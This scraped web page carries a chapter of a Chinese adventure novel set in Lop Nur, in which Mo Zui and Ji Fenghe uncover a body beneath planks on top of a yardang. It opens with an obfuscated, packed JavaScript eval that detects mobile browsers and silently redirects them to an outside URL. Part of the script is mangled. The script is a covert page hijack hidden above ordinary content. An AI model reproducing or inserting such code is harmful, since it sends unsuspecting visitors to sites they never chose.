;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372138|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的芦苇和胡杨林出现在视线中,带来的也只有腐朽而陈旧的气息。 这才是它真正的样貌,死亡之海。 莫醉跳下车,舒展了一下僵硬的四肢,以手指作梳子,将头发胡乱梳理了下,之后从后座抽出瓶矿泉水简单洗漱。 矿泉水冰冰凉凉,扑撒在脸上击退残存的那点困倦,莫醉彻底醒了。 她转身回到驾驶座,伸出胳膊将车钥匙拔了,塞进口袋。 莫饥还在睡觉,眉头微微皱着,莫醉并没打扰他,小心翼翼合上车门。 季风禾和成坤歇息的车还停在原地,没有任何响动,大概同莫饥一样还未醒。莫醉小心翼翼绕开那两辆车,向不远处的雅丹群中走去。 昨晚入睡前她回忆起和周寻初见的画面,怎么想怎么觉得奇怪。他的那副说辞如今想来也漏洞百出。大晚上爬到雅丹顶上等人救援,他倒是能远远看到救援的车灯,但那救援的人怎么可能看到他? 那雅丹顶上一定有古怪。 这是莫醉第三次走这条路。昨晚来时,手电筒的光只照清了眼前的一亩三分地,此刻天光熹微,嶙峋山体再无夜色遮掩,少了几分神秘,多了几分凌乱。莫醉按照昨夜的路线行走,十几分钟后到达昨晚见到周寻的地方。 莫醉抬头望。 这座雅丹不是附近最高的一座,却是最易攀爬的一座。土坡角度缓和,处处可见突起的落脚点。莫醉步履轻巧,行动敏捷,走到一半嫌缓坡路长,手撑着凸起的土块,另辟蹊径攀爬登顶。 雅丹顶部平缓,约莫三五平米,中心处有细微凹陷,拂掉表面薄薄的沙尘,露出几块破旧木板。莫醉看着那块破木板半晌没有动作。 罗布泊里大大小小雅丹数不胜数,不少雅丹顶部都有土坑和木板。掀开木板,便能与千年前的尸体相遇。这些尸体陈尸在极度干燥的环境中,历经千年变成干尸,有的进了博物馆,有的还躺在埋骨处。 莫醉不怕尸体,但不愿轻易扰人清梦。她磨磨蹭蹭绕着平台转了几圈,没什么特别的发现,无可奈何蹲回木板旁后,盯着木板干裂的纹路看了一会儿,注意到边角处似被什么东西浸染,留下一丁点深色痕迹。 她伸出手指搓了搓,那痕迹已经干涸,但瞧颜色像是新鲜的血迹。 既然是血迹—— 莫醉不再犹豫,正要掀开木板,身后传来声响。她转过头,见季风禾沿着缓和的那条路,信步闲庭,慢悠悠登顶。 莫醉抬起脏兮兮的爪子,胡乱挥了挥:“老板起得这么早?” “嗯。”季风禾走到木板另一侧蹲下,“怎么不掀?” “正在猜里面是新鲜的尸体,还是干尸。”莫醉实在不想干这种有损阴德的活儿。她瞥了眼季风禾随意搭在膝头的手,那手纤长有力,每根手指都干干净净,比她更不像掀棺材的手。她扁了扁嘴,好心提醒道,“老板要是怕的话,记得闭上眼,万一晚上做噩梦——” 季风禾不等她说完,手指尖搭在木板边沿,微微用力,将木板掀翻到一侧。 木板落地,扬起烟尘,迷得人睁不开眼睛。莫醉眯起眼睛捂住口鼻,微微后仰身子,等到沙尘散尽,才凑近几分,看着露出来的东西,叹了口气:“果然是他。”